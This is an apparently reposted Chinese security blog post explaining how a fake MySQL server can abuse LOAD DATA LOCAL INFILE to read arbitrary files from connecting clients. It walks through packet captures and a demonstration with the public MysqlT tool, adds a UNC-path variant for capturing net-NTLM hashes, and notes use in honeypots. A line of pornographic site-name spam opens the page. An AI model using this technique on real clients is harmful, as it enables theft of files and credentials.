日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

html读取本地txt_利用MySQL/MariaDB的逻辑缺陷伪造恶意服务端读取客户端文件

發布時間:2024/1/23 数据库 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 html读取本地txt_利用MySQL/MariaDB的逻辑缺陷伪造恶意服务端读取客户端文件 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
為了方便某些場景的使用,MySQL提供了LOAD DATA LOCAL INFILE語句,允許從客戶端導入文件數據到服務器中。然而,由于此功能的實現邏輯存在一定缺陷,可能會造成服務端能在未經客戶端允許的情況下讀取客戶端的文件內容。首先,我們來分析一下正常使用此功能時,客戶端與服務端的流量交互過程。這里筆者采用的PHPStudy搭建的MySQL環境。首先,開啟正常的MySQL服務。

在“F:\test”新建一個pi.txt文件,內容如下。

打開命令行,用MySQL monitor客戶端(即MySQL.exe)連接上測試數據庫,直接執行如下語句,將上述文件的內容記錄到預先建立的mysql_test表內,注意在windows下路徑中的反斜杠需要轉義或改用斜杠:LOAD DATA LOCAL INFILE 'F:\\test\\pi.txt' INTOTABLE mysql_test FIELDS TERMINATED BY '\n';此時,指定的文件內容已經被記錄到了表內,可以再執行select * from mysql_test;進行確認。

觀察流量,可以看到此客戶端在嘗試連接MySQL服務端,發送登錄請求時,默認將“Can Use LOAD DATA LOCAL”置為了1,相當于告訴了服務端,我(客戶端)這里支持LOAD DATA LOCAL語句,可以讀取客戶端本地的文件內容,加載到服務端。

然后,又默認自動執行了一句查詢語句,用于在banner中顯示服務端的MySQL版本。補充一點,大多數客戶端在連接時都會自動靜默發送一些查詢語句,用于初始化時提供更多信息。如Navicat會執行”SET NAMES utf8mb4”.這一步有一個小小的伏筆,我們后面再進行解釋。

隨后,觀察流量可以看到,我們之前手動執行的LOAD DATA LOCAL命令:

關鍵點來了。客戶端輸入上述命令之后,服務端發送了如下內容,控制客戶端去讀取相應的文件。這幾步可以比喻為如下的溝通過程:1.客戶端:我要讀取我本地的XXX文件到客戶端那邊的AA表中!2.服務端:你快把XXX文件的內容告訴我。3.客戶端:XXX文件的內容是xxxxxx.然而,第三步客戶端的行為,僅僅受到第二步中服務端指令的控制,與第一步中的內容沒有任何關系。所以,這里便出現了風險:如果客戶端連接到了惡意的服務端,那么此服務端可以控制客戶端去讀取其能夠讀取到的任意文件并發送回服務端。也就是說,攻擊者可以無視第一步客戶端的請求內容,直接在第二步中構造下圖中的請求,控制客戶端發送指定的文件內容。

下一條流量包中可以看到,客戶端確實向服務端發送了指定的文件內容:

綜上所述,攻擊者可以通過模仿MySQL服務端的返回信息,偽造一個惡意的MySQL服務端,想辦法引誘受害者與其進行連接,便可以控制受害者的客戶端讀取其本地任意指定的文件內容。Github上已經有了現成的輪子,比如最早的“Rogue-MySql-Server”(https://github.com/Gifts/Rogue-MySql-Server),支持更多自定義功能的“MysqlT”(https://github.com/BeichenDream/MysqlT),這里用后者進行演示。由于偽造的服務端直接通過返回信息欺騙客戶端,模擬連接,所以并不需要真正的MySQL服務運行,我們先把正常的MySQL服務關閉。下載release文件,按照教程運行并進行設定。可以看到,這里我指定了欲讀取文件的路徑、偽造MySQL服務的用戶名密碼(客戶端輸入正確時,才返回連接成功的信息)

先再來確認下欲讀取文件的內容,與這個惡意服務端目錄中的文件內容:

輸入mysql run,啟動對3306端口的監聽,并等待客戶端數據,模擬連接。

這里我們換一個服務端進行演示,順便對上述的“伏筆”進行解釋說明。打開Navicat,填寫對應的連接信息,然后點擊“測試連接”。

可以看到,Navicat提示連接成功。再來看看MysqlT:

提示文件已經接收完畢。用tree /F查看文件夾結構,type輸出文件內容,確定與test文件夾內的完全一致。

抓包分析之。可以看到,Navicat的客戶端在進行連接請求時,也把下述字段置為了1.

然后和上面提到的一樣,Navicat客戶端在連接時也靜默執行了一條查詢語句:

這里補充說明一下,要讓客戶端向服務端發送本地文件的數據,每發送一個文件,都需要將上述的1、2、3三個步驟完整走一遍。只是對第一步中的內容沒有要求,但需要客戶端執行一次查詢這個動作,這也是上面提到的“伏筆”背后的細節。第一步已經滿足了,那么服務端便可以直接開始偽造第二步的信息,控制客戶端返回指定文件內容。抓包看到,偽造服務端發送的payload與之前正常客戶端執行相應功能時的payload完全一致。

上面已經提到,第三步完全僅由第二步服務端發送過來的命令進行控制,所以,可以預見地,客戶端會乖乖向偽造服務端返回相應文件的內容。偽造的服務端接收到之后,就可以寫入到文件記錄。至此,整個攻擊流程結束。分析這個“漏洞”的應用場景,容易看出,這種技術除了用作攻擊之外,還可應用于蜜罐中,達到反制攻擊者的效果。值得一提的是,LOAD DATA INFILE語句支持UNC路徑,如果我們的惡意MySQL服務器運行在Windows系統上,我們還有可能使用如下查詢語句獲取內網用戶的net-NTLM Hash:LOAD DATA LOCAL INFILE "\\HOSTNAME_OR_IP\test\pi.txt"INTO TABLE mysql_test FIELDS TERMINATED BY '\n';不過,需要對偽造的服務端進行另外的改動,暫不在本次討論范圍內。

總結

以上是生活随笔為你收集整理的html读取本地txt_利用MySQL/MariaDB的逻辑缺陷伪造恶意服务端读取客户端文件的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。